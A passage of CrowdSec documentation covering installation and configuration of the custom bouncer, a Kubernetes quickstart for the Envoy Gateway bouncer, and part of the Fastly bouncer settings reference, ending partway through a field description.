"Direct link to From source") Clone the repository: SHCOPY ``` git clone https://github.com/crowdsecurity/cs-custom-bouncer && cd cs-custom-bouncer ``` Build the binary: SHCOPY ``` make release && cd crowdsec-custom-bouncer-v* ``` Install the build release: SHCOPY ``` sudo ./install.sh ``` Edit the configuration file to your desired settings: SHCOPY ``` sudo vim /etc/crowdsec/bouncers/crowdsec-custom-bouncer.yaml ``` Then enable the service: SHCOPY ``` sudo systemctl enable --now crowdsec-custom-bouncer ``` ## Default configuration[โ€‹](#default-configuration "Direct link to Default configuration") SHCOPY ``` sudo vim /etc/crowdsec/bouncers/crowdsec-custom-bouncer.yaml ``` YAMLCOPY ``` bin_path: bin_args: [] feed_via_stdin: false # Invokes binary once and feeds incoming decisions to it's stdin. total_retries: 0 scenarios_containing: [] # ignore IPs banned for triggering scenarios not containing either of provided word, eg ["ssh", "http"] scenarios_not_containing: [] # ignore IPs banned for triggering scenarios containing either of provided word scopes: [] # scopes of the decisions to filter on origins: [] # origins of the decisions to filter on piddir: /var/run/ update_frequency: 10s cache_retention_duration: 10s daemonize: true log_mode: file log_dir: /var/log/ log_level: info log_compression: true log_max_size: 100 log_max_backups: 3 log_max_age: 30 api_url: api_key: prometheus: enabled: true listen_addr: 127.0.0.1 listen_port: 60602 ``` `cache_retention_duration` : The bouncer keeps track of all custom script invocations from the last `cache_retention_duration` interval. If a decision is identical to some decision already present in the cache, then the custom script is not invoked. The keys for hashing a decision is it's `Type` (eg `ban`, `captcha` etc) and `Value` (eg `192.168.1.1`, `CH` etc). You can then start the service: SHCOPY ``` sudo systemctl start crowdsec-custom-bouncer ``` If you need to make changes to the configuration file and be sure they will never be modified or reverted by package upgrades, starting from v0.0.12 you can write them in a `crowdsec-custom-bouncer.yaml.local` file as described in [Overriding values](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration#overriding-values). Package upgrades may have good reasons to modify the configuration, so be careful if you use a `.local` file. ### Logs[โ€‹](#logs "Direct link to Logs") By default you can find the log file `/var/log/crowdsec-custom-bouncer.log`, however, this can change if you have changed the configuration. ## Best pratices[โ€‹](#best-pratices "Direct link to Best pratices") We recommend using the [scopes](#scopes) configuration to filter the scope your script is interested in. This will ensure you get the expected values in your script. This is only applicable if you have configured your [profiles](https://docs.crowdsec.net/docs/next/local_api/profiles/format.md#decisions) to make use of scopes but is general best pratice to set it to `["Ip"]` by default if that is the script aim. The above will ensure you get values from LAPI to the script, however, you should double check the values in your script to ensure they are as expected. ## Usage[โ€‹](#usage "Direct link to Usage") warning Remember to set execution permissions for your binary or script. If it's a script, include a shebang on the first line (e.g., `#!/bin/sh`). ### Invoke mode[โ€‹](#invoke-mode "Direct link to Invoke mode") warning While the default mode, it is not recommended to use it, as calling a binary for each decision can be very costly when a lot are present. The custom binary will be called with the following arguments : TEXTCOPY ``` add # to add an IP address del # to del an IP address ``` * `value` : The value will be the decision scope value (eg `192.168.1.1` for IP) * `duration`: duration of the remediation in seconds * `reason` : reason of the decision * `json_object`: the serialized decision (see the next section for more details) #### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` custom_binary.sh add 192.168.1.1/32 3600 "test blacklist" custom_binary.sh del 192.168.1.1/32 3600 "test blacklist" ``` ### Stdin mode[โ€‹](#stdin-mode "Direct link to Stdin mode") In this mode, the custom binary will be executed when the bouncer starts and is expected to read data from stdin. If the binary exits for any reason, it will be reinvoked up to `max_retries` times. If the maximum number of retries is exhausted, the bouncer will quit. For each decision, the custom binary will be fed the serialized JSON object on stdin, one object per line. The JSON object is: JSONCOPY ``` { "duration": "143h58m15s", "origin": "CAPI", "scenario": "ssh:bruteforce", "scope": "Ip", "type": "ban", "value": "160.187.109.6", "id": 83676344, "action": "add" } ``` * `duration`: duration of the decision, in the [go time.Duration format](https://pkg.go.dev/time#Duration). Can be negative for delete decisions. * `origin`: origin the decision. Can be `crowdsec`, `cscli`, `cscli-import`, `CAPI`, `lists`. * `scenario`: scenario that triggered the decision. * `scope`: Scope of the decision. Most likely `Ip` or `Range` with the default config, but can be any value set in your scenarios. * `type`: Type of the decision. Most likely `ban` or `captcha` with the default config, but can be any value set in your profiles. * `value`: Target of the decision. * `id`: id of the decision in the crowdsec database. * `action`: Either `add` or `del`. ## Configuration Reference[โ€‹](#configuration-reference "Direct link to Configuration Reference") ### `bin_path`[โ€‹](#bin_path "Direct link to bin_path") > string Absolute path to the binary that will be invoked ### `bin_args`[โ€‹](#bin_args "Direct link to bin_args") > \[ ]string Array of argument to give to the script that will be invoked. This option is only supported if `feed_via_stdin` is set to `true`. ### `feed_via_stdin`[โ€‹](#feed_via_stdin "Direct link to feed_via_stdin") > boolean Indicate weither or not the script will will be feed via STDIN or via its arguments ### `total_retries`[โ€‹](#total_retries "Direct link to total_retries") > int Number of times to restart binary. relevant if `feed_via_stdin=true`. Set to -1 for infinite retries. ### `scenarios_containing`[โ€‹](#scenarios_containing "Direct link to scenarios_containing") > \[ ]string Get only IPs banned for triggering scenarios containing either of provided word. Example YAMLExampleCOPY ``` scenarios_containing: ["ssh", "http"] ``` ### `scenarios_not_containing`[โ€‹](#scenarios_not_containing "Direct link to scenarios_not_containing") > \[ ]string Ignore IPs banned for triggering scenarios containing either of provided word. Example YAMLExampleCOPY ``` scenarios_not_containing: ["ssh", "http"] ``` ### `scopes`[โ€‹](#scopes "Direct link to scopes") > \[ ]string Decisions will be filtered on the provided scopes. Example YAMLExampleCOPY ``` scopes: ["Ip"] ``` ### `origins`[โ€‹](#origins "Direct link to origins") > \[ ]string Decisions will be filtered on the provided origins. Example YAMLExampleCOPY ``` origins: ["cscli", "crowdsec"] ``` ### `cache_retention_duration`[โ€‹](#cache_retention_duration "Direct link to cache_retention_duration") > string The component keeps track of all custom script invocations from the last `cache_retention_duration` interval. If a decision is identical to some decision already present in the cache, then the custom script is not invoked. The keys for hashing a decision is it's `Type` (eg `ban`, `captcha` etc) and `Value` (eg `192.168.1.1`, `CH` etc). ### `piddir`[โ€‹](#piddir "Direct link to piddir") > string warning This field has been depreacted and is ignored by the component Directory to drop the PID file ### `update_frequency`[โ€‹](#update_frequency "Direct link to update_frequency") > string (That is parseable by [time.ParseDuration](https://golang.org/pkg/time/#ParseDuration)) controls how often the component is going to query the local API ### `daemonize`[โ€‹](#daemonize "Direct link to daemonize") > boolean To run the component as a service warning This field has now been deprecated and is ignored within the component ### `log_mode`[โ€‹](#log_mode "Direct link to log_mode") > `file` | `stdout` Where the log contents are written (With `file` it will be written to `log_dir` with the name `crowdsec-custom-bouncer.log`) ### `log_dir`[โ€‹](#log_dir "Direct link to log_dir") > string Relevant if `log_mode` is `file`. This determines where to create log file. ### `log_level`[โ€‹](#log_level "Direct link to log_level") > `trace` | `debug` | `info` | `error` Log level: can be `trace`, `debug`, `info`, or `error` ### `log_compression`[โ€‹](#log_compression "Direct link to log_compression") > boolean Compress logs on rotation, `true` or `false` ### `log_max_size`[โ€‹](#log_max_size "Direct link to log_max_size") > int Maximum file size before rotation ### `log_max_backups`[โ€‹](#log_max_backups "Direct link to log_max_backups") > int How many backup log files to keep ### `log_max_age`[โ€‹](#log_max_age "Direct link to log_max_age") > int Log file max age before deletion ### `api_url`[โ€‹](#api_url "Direct link to api_url") > string URL of the CrowdSec Local API ### `api_key`[โ€‹](#api_key "Direct link to api_key") > string API Key to communicate with the CrowdSec Local API ### `insecure_skip_verify`[โ€‹](#insecure_skip_verify "Direct link to insecure_skip_verify") > boolean Skip verification of the LAPI certificate, usually used for self-signed certificates ### `prometheus`[โ€‹](#prometheus "Direct link to prometheus") > [PrometheusConfig](https://github.com/crowdsecurity/cs-custom-bouncer/blob/dc188f560ad1a428b6aead8aaf44ffb300b29956/pkg/cfg/config.go#L16-L20) Prometheus configuration #### `enabled`[โ€‹](#enabled "Direct link to enabled") > boolean Enable or not the prometheus server Example: YAMLCOPY ``` prometheus: enabled: true listen_addr: 127.0.0.1 listen_port: 60602 ``` #### `listen_addr`[โ€‹](#listen_addr "Direct link to listen_addr") > string IP Address to listen on for the prometheus server #### `listen_port`[โ€‹](#listen_port "Direct link to listen_port") > int Port to listen on for the prometheus server --- ๐Ÿ“š [Documentation](#deploy-the-envoy-bouncer) ๐Ÿ’  [Source](https://github.com/kdwils/envoy-proxy-crowdsec-bouncer) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) AppSecSupported ModeStream only MetricsSupported MTLSUnsupported PrometheusUnsupported # CrowdSec Remediation QuickStart for Envoy Gateway ## Objectives[โ€‹](#objectives "Direct link to Objectives") This quickstart shows how to deploy the Envoy CrowdSec bouncer in Kubernetes and protect workloads exposed through [Envoy Gateway](https://gateway.envoyproxy.io/) using external authorization. At the end, you will have: * CrowdSec LAPI running in-cluster and reachable from Envoy Gateway * A CrowdSec-compatible Envoy external auth service running in the cluster * `SecurityPolicy` resources attached to your `HTTPRoute` objects * CrowdSec remediation decisions enforced before traffic reaches your backends AppSec Support This bouncer supports the [AppSec Component](https://docs.crowdsec.net/docs/next/appsec/intro.md) for real-time WAF protection. This page focuses on remediation-only deployment. If you want Envoy Gateway with WAF and virtual patching, follow the [CrowdSec WAF QuickStart for Envoy Gateway](https://docs.crowdsec.net/docs/next/appsec/quickstart/envoy-gateway.md). ## Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") 1. It is assumed that you already have: * A working CrowdSec [Security Engine](https://docs.crowdsec.net/intro) installation. For a Kubernetes install quickstart, refer to [/u/getting\_started/installation/kubernetes](https://docs.crowdsec.net/u/getting_started/installation/kubernetes.md). * A working Envoy Gateway installation with the Gateway API CRDs and an accepted `GatewayClass`. * Existing `Gateway` / `HTTPRoute` resources exposing your applications. warning This integration currently relies on a community Envoy external auth bouncer, not on a first-party CrowdSec remediation component. The upstream project used in this guide is: * `kdwils/envoy-proxy-crowdsec-bouncer` ## Store the Envoy bouncer key in a Kubernetes secret[โ€‹](#store-the-envoy-bouncer-key-in-a-kubernetes-secret "Direct link to Store the Envoy bouncer key in a Kubernetes secret") For Envoy Gateway, a practical approach is to choose a fixed key, store it in a Kubernetes secret, and force `BOUNCER_KEY_envoy` from `lapi.env` with `valueFrom.secretKeyRef`. Create or update the secret used by CrowdSec LAPI: crowdsec-keys.yaml YAMLcrowdsec-keys.yamlCOPY ``` apiVersion: v1 kind: Secret metadata: name: crowdsec-keys namespace: crowdsec type: Opaque stringData: ENROLL_KEY: "" BOUNCER_KEY_envoy: "" ``` Apply it: SHCOPY ``` kubectl apply -f crowdsec-keys.yaml ``` Then reference `BOUNCER_KEY_envoy` from the CrowdSec Helm values: crowdsec-values.yaml YAMLcrowdsec-values.yamlCOPY ``` lapi: env: - name: BOUNCER_KEY_envoy valueFrom: secretKeyRef: name: crowdsec-keys key: BOUNCER_KEY_envoy ``` Apply the CrowdSec release again: SHCOPY ``` helm upgrade --install crowdsec crowdsec/crowdsec \ --namespace crowdsec \ --create-namespace \ -f crowdsec-values.yaml ``` ## Verify CrowdSec LAPI access[โ€‹](#verify-crowdsec-lapi-access "Direct link to Verify CrowdSec LAPI access") The Envoy bouncer only needs access to CrowdSec LAPI. Make sure the CrowdSec release exposes the LAPI service and that the bouncer key is available through `lapi.env`. Verify the CrowdSec pods and services: SHCOPY ``` kubectl -n crowdsec get pods kubectl -n crowdsec get svc crowdsec-service ``` You should see: * `crowdsec-lapi` in `Running` * `crowdsec-service` exposing port `8080` important For remediation to work correctly, CrowdSec must see the real client IP in the Envoy access logs, and the bouncer must evaluate requests against that same IP. If Envoy only logs an internal proxy, load balancer, or node IP, CrowdSec will create decisions for the wrong source and bouncing will not work as expected. In Kubernetes, make sure the Envoy service configuration preserves source IPs, for example by setting `externalTrafficPolicy: Local` instead of a setup that hides the original client IP. ## Deploy the Envoy bouncer[โ€‹](#deploy-the-envoy-bouncer "Direct link to Deploy the Envoy bouncer") * Helm-Based Installation * Without Helm For the Helm-based install, keep the API key in a Kubernetes `Secret` and reference that secret from a user-managed `values.yaml` file. Create the secret holding the CrowdSec bouncer key: crowdsec-envoy-bouncer-secret.yaml YAMLcrowdsec-envoy-bouncer-secret.yamlCOPY ``` apiVersion: v1 kind: Secret metadata: name: crowdsec-envoy-bouncer-secrets namespace: envoy-gateway-system type: Opaque stringData: api-key: "" ``` Apply it: SHCOPY ``` kubectl apply -f crowdsec-envoy-bouncer-secret.yaml ``` Then create a values file: envoy-bouncer-values.yaml YAMLenvoy-bouncer-values.yamlCOPY ``` fullnameOverride: crowdsec-envoy-bouncer config: bouncer: enabled: true lapiURL: http://crowdsec-service.crowdsec.svc.cluster.local:8080 apiKeySecretRef: name: crowdsec-envoy-bouncer-secrets key: api-key securityPolicy: create: true gatewayName: shared-public gatewayNamespace: envoy-gateway-system ``` Install the chart: SHCOPY ``` helm install crowdsec-envoy-bouncer oci://ghcr.io/kdwils/charts/envoy-proxy-bouncer \ --namespace envoy-gateway-system \ --create-namespace \ -f envoy-bouncer-values.yaml ``` If you only want to deploy the bouncer and manage `SecurityPolicy` objects manually, omit the `securityPolicy.*` settings. Keep the bouncer API key in a Kubernetes secret in the namespace where your Envoy Gateway infrastructure runs. In this example, that namespace is `envoy-gateway-system`. crowdsec-envoy-bouncer-secret.yaml YAMLcrowdsec-envoy-bouncer-secret.yamlCOPY ``` apiVersion: v1 kind: Secret metadata: name: crowdsec-envoy-bouncer-secrets namespace: envoy-gateway-system type: Opaque stringData: api-key: "" ``` Apply the secret: SHCOPY ``` kubectl apply -f crowdsec-envoy-bouncer-secret.yaml ``` Then create the bouncer objects directly: crowdsec-envoy-bouncer.yaml YAMLcrowdsec-envoy-bouncer.yamlCOPY ``` apiVersion: apps/v1 kind: Deployment metadata: name: crowdsec-envoy-bouncer namespace: envoy-gateway-system spec: replicas: 1 selector: matchLabels: app.kubernetes.io/name: crowdsec-envoy-bouncer template: metadata: labels: app.kubernetes.io/name: crowdsec-envoy-bouncer spec: containers: - name: crowdsec-envoy-bouncer image: ghcr.io/kdwils/envoy-proxy-bouncer:v0.6.0 imagePullPolicy: Always ports: - name: grpc containerPort: 8080 protocol: TCP - name: http containerPort: 8081 protocol: TCP env: - name: ENVOY_BOUNCER_BOUNCER_ENABLED value: "true" - name: ENVOY_BOUNCER_BOUNCER_APIKEY valueFrom: secretKeyRef: name: crowdsec-envoy-bouncer-secrets key: api-key - name: ENVOY_BOUNCER_BOUNCER_LAPIURL value: http://crowdsec-service.crowdsec.svc.cluster.local:8080 - name: ENVOY_BOUNCER_SERVER_GRPCPORT value: "8080" - name: ENVOY_BOUNCER_SERVER_HTTPPORT value: "8081" - name: ENVOY_BOUNCER_SERVER_LOGLEVEL value: info --- apiVersion: v1 kind: Service metadata: name: crowdsec-envoy-bouncer namespace: envoy-gateway-system spec: selector: app.kubernetes.io/name: crowdsec-envoy-bouncer ports: - name: grpc port: 8080 targetPort: grpc protocol: TCP - name: http port: 8081 targetPort: http protocol: TCP ``` Apply it: SHCOPY ``` kubectl apply -f crowdsec-envoy-bouncer.yaml ``` This path gives you full control over the generated objects, but you must keep the `Deployment`, `Service`, and `ReferenceGrant` aligned yourself. Verify the rollout: SHCOPY ``` kubectl -n envoy-gateway-system rollout status deploy/crowdsec-envoy-bouncer ``` ## Attach Envoy `SecurityPolicy` resources to `HTTPRoute`s[โ€‹](#attach-envoy-securitypolicy-resources-to-httproutes "Direct link to attach-envoy-securitypolicy-resources-to-httproutes") Envoy Gateway external auth is configured through `gateway.envoyproxy.io/v1alpha1` `SecurityPolicy` resources. note Attaching the `SecurityPolicy` to an `HTTPRoute` is usually better than attaching it to the `Gateway`. It keeps the policy scoped to one application route instead of every route on the shared entrypoint, which makes rollout, debugging, and multi-application setups easier to manage. Attach them at the `HTTPRoute` level: app-securitypolicy.yaml YAMLapp-securitypolicy.yamlCOPY ``` apiVersion: gateway.envoyproxy.io/v1alpha1 kind: SecurityPolicy metadata: name: crowdsec-ext-auth namespace: "" spec: targetRefs: - group: gateway.networking.k8s.io kind: HTTPRoute name: "" extAuth: failOpen: true grpc: backendRefs: - group: "" kind: Service name: crowdsec-envoy-bouncer namespace: envoy-gateway-system port: 8080 ``` Apply it: SHCOPY ``` kubectl apply -f app-securitypolicy.yaml ``` ## Allow cross-namespace references[โ€‹](#allow-cross-namespace-references "Direct link to Allow cross-namespace references") If your `SecurityPolicy` and the bouncer `Service` live in different namespaces, allow the reference with a `ReferenceGrant`: reference-grant.yaml YAMLreference-grant.yamlCOPY ``` apiVersion: gateway.networking.k8s.io/v1beta1 kind: ReferenceGrant metadata: name: crowdsec-ext-auth-backend namespace: envoy-gateway-system spec: from: - group: gateway.envoyproxy.io kind: SecurityPolicy namespace: "" to: - group: "" kind: Service name: crowdsec-envoy-bouncer ``` Apply it: SHCOPY ``` kubectl apply -f reference-grant.yaml ``` ## Validation[โ€‹](#validation "Direct link to Validation") Check that the bouncer is running: SHCOPY ``` kubectl -n envoy-gateway-system get pods kubectl -n envoy-gateway-system logs deploy/crowdsec-envoy-bouncer ``` Then confirm the `SecurityPolicy` is accepted and attached: SHCOPY ``` kubectl get securitypolicy -A kubectl get referencegrant -A ``` To validate remediation, add a temporary decision for a test IP and send a request from that source through Envoy Gateway. Envoy should deny the request once the bouncer has synchronized the decision from LAPI. ## Testing detection[โ€‹](#testing-detection "Direct link to Testing detection") You can also verify that CrowdSec is parsing Envoy logs correctly by triggering the `crowdsecurity/http-generic-test` dummy scenario. 1. Access your service URL with this path: `/crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl` SHCOPY ``` curl -I http:///crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl ``` 2. Confirm the alert has triggered for `crowdsecurity/http-generic-test`: SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l k8s-app=crowdsec -l type=lapi -o name) -- cscli alerts list -s crowdsecurity/http-generic-test ``` warning If you trigger this scenario from a private ip, you won't see it trigger as it will be dismissed by the whitelist parser. ## Important Notes[โ€‹](#important-notes "Direct link to Important Notes") ### Attach `SecurityPolicy` to `HTTPRoute`s, not only to the `Gateway`[โ€‹](#attach-securitypolicy-to-httproutes-not-only-to-the-gateway "Direct link to attach-securitypolicy-to-httproutes-not-only-to-the-gateway") For Envoy Gateway, route-level attachment is the safer pattern for this integration. Attaching the policy at the `Gateway` level can apply external auth to every routed application behind that listener, which increases the blast radius of a bad policy, a broken backend reference, or an unhealthy bouncer. Attaching it to individual `HTTPRoute`s keeps the rollout explicit and incremental: you can protect only the routes that should use CrowdSec, leave other traffic untouched, and troubleshoot one application at a time. ### Cross-namespace bouncer references require `ReferenceGrant`[โ€‹](#cross-namespace-bouncer-references-require-referencegrant "Direct link to cross-namespace-bouncer-references-require-referencegrant") If your bouncer `Service` is in `envoy-gateway-system` and your applications live in other namespaces, `ReferenceGrant` is required. ### Use `failOpen: true` during rollout[โ€‹](#use-failopen-true-during-rollout "Direct link to use-failopen-true-during-rollout") If you apply a fail-closed external auth policy before the bouncer is healthy, Envoy will start rejecting traffic unexpectedly. ### Check image architecture support[โ€‹](#check-image-architecture-support "Direct link to Check image architecture support") The community bouncer image may not be published for every architecture. If your platform is not supported, you will need a custom build. ## Next steps[โ€‹](#next-steps "Direct link to Next steps") * Learn more about remediation components: [/u/bouncers/intro](https://docs.crowdsec.net/u/bouncers/intro.md) * Review the upstream deployment guide: [docs/DEPLOYMENT.md](https://github.com/kdwils/envoy-proxy-crowdsec-bouncer/blob/main/docs/DEPLOYMENT.md) * Review the upstream configuration guide: [docs/CONFIGURATION.md](https://github.com/kdwils/envoy-proxy-crowdsec-bouncer/blob/main/docs/CONFIGURATION.md) * If you want WAF and virtual patching instead of remediation only, follow the [AppSec QuickStart for Envoy Gateway](https://docs.crowdsec.net/docs/next/appsec/quickstart/envoy-gateway.md) --- ![](/img/crowdsec_fastly.png) ![](https://img.shields.io/badge/build-pass-green)![](https://img.shields.io/badge/tests-pass-green) ๐Ÿ“š [Documentation](#installation) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) ModeStream only MetricsUnsupported MTLSUnsupported PrometheusUnsupported # Fastly bouncer A Remediation Component that syncs the decisions made by CrowdSec with Fastly's VCL. Manages multi account, multi service setup. Supports IP, Range, Country and AS scoped decisions. To learn how to set up crowdsec to consume Fastly logs see [this](https://docs.crowdsec.net/u/user_guides/consuming_fastly_logs.md) ## Installation[โ€‹](#installation "Direct link to Installation") ### Using pip[โ€‹](#using-pip "Direct link to Using pip") Make sure you have python3.8+ installed. Now in a virtual environment run the following: SHCOPY ``` pip install crowdsec-fastly-bouncer crowdsec-fastly-bouncer -g , -o config.yaml # generate config vim config.yaml # Set crowdsec LAPI key, url, recaptcha keys, logging etc crowdsec-fastly-bouncer -c config.yaml # Run it ! ``` For more details on the config file, see the [Settings](#settings) section below. See how to get Fastly account tokens [here](https://docs.fastly.com/en/guides/using-api-tokens). The tokens must have write access for the configured services. Practically, you can create a Personal token with a Global API access scope, Engineer Role and Automation type. **Note:** If your bouncer is not installed on the same machine as LAPI, remember to set the `lapi_url` and `lapi_key` in the configuration file /etc/crowdsec/bouncers/crowdsec-fastly-bouncer.yaml **Note:** For captcha to work, you must provide the `recaptcha_site_key` and `recaptcha_secret_key` for each service. Learn how [here](http://www.google.com/recaptcha/admin) ### Using Docker[โ€‹](#using-docker "Direct link to Using Docker") Make sure you have docker or podman installed. In this guide, we will use docker, but podman would work as a drop-in replacement too. #### Initial Setup[โ€‹](#initial-setup "Direct link to Initial Setup") SHCOPY ``` docker run crowdsecurity/fastly-bouncer \ -g , -o cfg.yaml # auto-generate fastly config for provided comma separated tokens vi cfg.yaml # review config and set `crowdsec_lapi_key` touch fastly-cache.json ``` For more details on the config file, see the [Settings](#settings) section below. The `lapi_key` can be obtained by running the following: SHCOPY ``` sudo cscli -oraw bouncers add fastlybouncer # -oraw flag can discarded for human friendly output. ``` The `lapi_url` must be accessible from the container. #### Run the component[โ€‹](#run-the-component "Direct link to Run the component") SHCOPY ``` docker run \ -v $PWD/cfg.yaml:/etc/crowdsec/bouncers/crowdsec-fastly-bouncer.yaml \ -v $PWD/fastly-cache.json:/var/lib/crowdsec/crowdsec-fastly-bouncer/cache/fastly-cache.json \ crowdsecurity/fastly-bouncer ``` ## Usage[โ€‹](#usage "Direct link to Usage") ### Activate the new configuration[โ€‹](#activate-the-new-configuration "Direct link to Activate the new configuration") If you have set `activate: false` for your services in the config file, the bouncer will create a new version of the service with the CrowdSec configuration but will not activate it. This is useful for testing and validation before going live. In this case, after starting the component, go to the Fastly web UI and, for each configured service, review the version created by the bouncer. If everything looks good, you can activate the new configuration. ### Version workflow[โ€‹](#version-workflow "Direct link to Version workflow") When the bouncer starts for the first time (i.e., when there is no local cache file), it will clone the active version of each configured service (or the version specified in `reference_version` if provided) to create a new draft version. It will then apply the CrowdSec configuration to this draft version. The bouncer will then automatically activate the new version if `activate: true` is set in the config file. ### Maximum items and ACL capacity[โ€‹](#maximum-items-and-acl-capacity "Direct link to Maximum items and ACL capacity") Bouncer will use the `max_items` parameter in the config file to determine how many decisions can be stored across all ACLs for a service and a decision type (ban or captcha). As each ACL can hold a maximum of 1000 items, it will also determine how many ACLs are needed to accommodate the `max_items` limit. For example, if `max_items` is set to 5000, the bouncer will create up to 10 ACLs in Fastly (5 for `ban`, 5 for `captcha`, each with possibly 1000 items). ## Settings[โ€‹](#settings "Direct link to Settings") The bouncer configuration is defined in a YAML file that controls all aspects of the bouncer's behavior. Below is a detailed description of each configuration parameter. ### Root Configuration Parameters[โ€‹](#root-configuration-parameters "Direct link to Root Configuration Parameters") #### `acl_fast_creation`[โ€‹](#acl_fast_creation "Direct link to acl_fast_creation") * **Type**: Boolean * **Default**: `false` * **Description**: Enables faster parallel creation of ACLs in Fastly. When set to `true`, ACLs are created in parallel, which speeds up the initial setup but results in random/unpredictable order of ACLs. When set to `false`, ACLs are created sequentially, which is slower but maintains a natural order. * **Example**: `true` #### `bouncer_version`[โ€‹](#bouncer_version "Direct link to bouncer_version") * **Type**: String * **Default**: Current version of the bouncer * **Description**: Version identifier for the bouncer configuration. This is automatically set and should match the installed bouncer version. * **Example**: `bouncer_version: 0.0.2` #### `cache_path`[โ€‹](#cache_path "Direct link to cache_path") * **Type**: String * **Default**: `/var/lib/crowdsec/crowdsec-fastly-bouncer/cache/fastly-cache.json` * **Description**: Path to the cache file where the bouncer stores the current state of Fastly services and ACLs. This allows the bouncer to resume operations without recreating infrastructure after restarts. * **Example**: `cache_path: ./dev/cache/fastly-cache.json` #### `log_level`[โ€‹](#log_level "Direct link to log_level") * **Type**: String * **Options**: `debug`, `info`, `warning`, `error` * **Default**: `info` * **Description**: Sets the logging verbosity level. Use `debug` for troubleshooting, `info` for normal operations. * **Example**: `log_level: info` #### `log_mode`[โ€‹](#log_mode "Direct link to log_mode") * **Type**: String * **Options**: `stdout`, `stderr`, `file` * **Default**: `stdout` * **Description**: Determines where log messages are output. When set to `file`, logs are written to the path specified in `log_file`. * **Example**: `log_mode: stdout` #### `log_file`[โ€‹](#log_file "Direct link to log_file") * **Type**: String * **Default**: `/var/log/crowdsec-fastly-bouncer.log` * **Description**: File path for log output when `log_mode` is set to `file`. Ensure the bouncer has write permissions to this location. * **Example**: `log_file: ./dev/log/crowdsec-fastly-bouncer.log` #### `update_frequency`[โ€‹](#update_frequency "Direct link to update_frequency") * **Type**: Integer (seconds) * **Default**: `10` * **Description**: How often (in seconds) the bouncer polls the CrowdSec LAPI for new decisions and updates Fastly ACLs accordingly. * **Example**: `update_frequency: 30` ### CrowdSec Configuration[โ€‹](#crowdsec-configuration "Direct link to CrowdSec Configuration") The `crowdsec_config` section configures the connection and filtering for the CrowdSec Local API (LAPI). #### `lapi_key`[โ€‹](#lapi_key "Direct link to lapi_key") * **Type**: String (required) * **Description**: API key for authenticating with the CrowdSec LAPI. This key is generated when registering the bouncer with CrowdSec. * **Example**: `lapi_key: '1234'` #### `lapi_url`[โ€‹](#lapi_url "Direct link to lapi_url") * **Type**: String * **Default**: `http://localhost:8080/` * **Description**: URL of the CrowdSec LAPI endpoint. * **Example**: `lapi_url: http://localhost:8080/` #### `include_scenarios_containing`[โ€‹](#include_scenarios_containing "Direct link to include_scenarios_containing") * **Type**: List of strings * **Default**: `[]` (empty list - include all scenarios) * **Description**: Only process decisions from scenarios whose names contain any of these strings. Useful for filtering specific types of attacks. * **Example**: YAMLCOPY ``` include_scenarios_containing: - "ssh" - "http" ``` #### `exclude_scenarios_containing`[โ€‹](#exclude_scenarios_containing "Direct link to exclude_scenarios_containing") * **Type**: List of strings * **Default**: `[]` (empty list - exclude no scenarios) * **Description**: Exclude decisions from scenarios whose names contain any of these strings. Takes precedence over `include_scenarios_containing`. * **Example**: YAMLCOPY ``` exclude_scenarios_containing: - "whitelist" ``` #### `only_include_decisions_from`[โ€‹](#only_include_decisions_from "Direct link to only_include_decisions_from") * **Type**: List of strings * **Default**: `["crowdsec", "cscli"]` * **Description**: Only process decisions that originate from these sources. Common sources include `crowdsec` (automatic detection), `cscli` (manual decisions), and `CAPI` (Community API). Let it empty to include decisions from all sources. * **Example**: YAMLCOPY ``` only_include_decisions_from: - crowdsec - cscli - CAPI ``` #### `insecure_skip_verify`[โ€‹](#insecure_skip_verify "Direct link to insecure_skip_verify") * **Type**: Boolean * **Default**: `false` * **Description**: Skip TLS certificate verification when connecting to LAPI. Only use for testing or when using self-signed certificates. * **Example**: `insecure_skip_verify: false` #### `key_path`[โ€‹](#key_path "Direct link to key_path") * **Type**: String * **Default**: `""` (empty) * **Description**: Path to client TLS key file for mutual TLS authentication with LAPI. * **Example**: `key_path: '/path/to/client.key'` #### `cert_path`[โ€‹](#cert_path "Direct link to cert_path") * **Type**: String * **Default**: `""` (empty) * **Description**: Path to client TLS certificate file for mutual TLS authentication with LAPI. * **Example**: `cert_path: '/path/to/client.crt'` #### `ca_cert_path`[โ€‹](#ca_cert_path "Direct link to ca_cert_path") * **Type**: String * **Default**: `""` (empty) * **Description**: Path to custom CA certificate file for verifying LAPI server certificate. * **Example**: `ca_cert_path: '/path/to/ca.crt'` ### Fastly Account Configuration[โ€‹](#fastly-account-configuration "Direct link to Fastly Account Configuration") The `fastly_account_configs`) section defines one or more Fastly accounts and their associated services. Each account requires a separate API token. #### Account Level Parameters[โ€‹](#account-level-parameters "Direct link to Account Level Parameters") ##### `account_token`[โ€‹](#account_token "Direct link to account_token") * **Type**: String (required) * **Description**: Fastly API token with appropriate permissions to manage services, ACLs, and VCL configurations. * **Example**: `account_token: Rhy**************************EPNb` ##### `services`[โ€‹](#services "Direct link to services") * **Type**: List of service configurations * **Description**: List of Fastly services to protect with CrowdSec decisions. #### Service Level Parameters[โ€‹](#service-level-parameters "Direct link to Service Level Parameters") ##### `id`[โ€‹](#id "Direct link to id") * **Type**: String (required) * **Description**: Fastly service ID to configure with CrowdSec protection. * **Example**: `id: jrLHbDGn9NbOHO7eSH1Xvo` ##### `activate`[โ€‹](#activate "Direct link to activate") * **Type**: Boolean * **Default**: `false` * **Description**: Whether to automatically activate new service versions with CrowdSec configurations. Set to `true` for production deployment. * **Example**: `activate: true` ##### `max_items`[โ€‹](#max_items "Direct link to max_items") * **Type**: Integer * **Default**: `20000` * **Description**: Maximum number of IP addresses that can be stored across all ACLs for this service. The bouncer will create multiple ACLs if needed to accommodate this limit. * **Example**: `max_items: 5000` ##### `recaptcha_site_key`[โ€‹](#recaptcha_site_key "Direct link to recaptcha_site_key") * **Type**: String (required) * **Description**: Google reCAPTCHA site key for the captcha challenge functionality. * **Example**: `recaptcha_site_key: 6L*****************************N` ##### `recaptcha_secret_key`[โ€‹](#recaptcha_secret_key "Direct link to recaptcha_secret_key") * **Type**: String (required) * **Description**: Google reCAPTCHA secret key for validating captcha responses. * 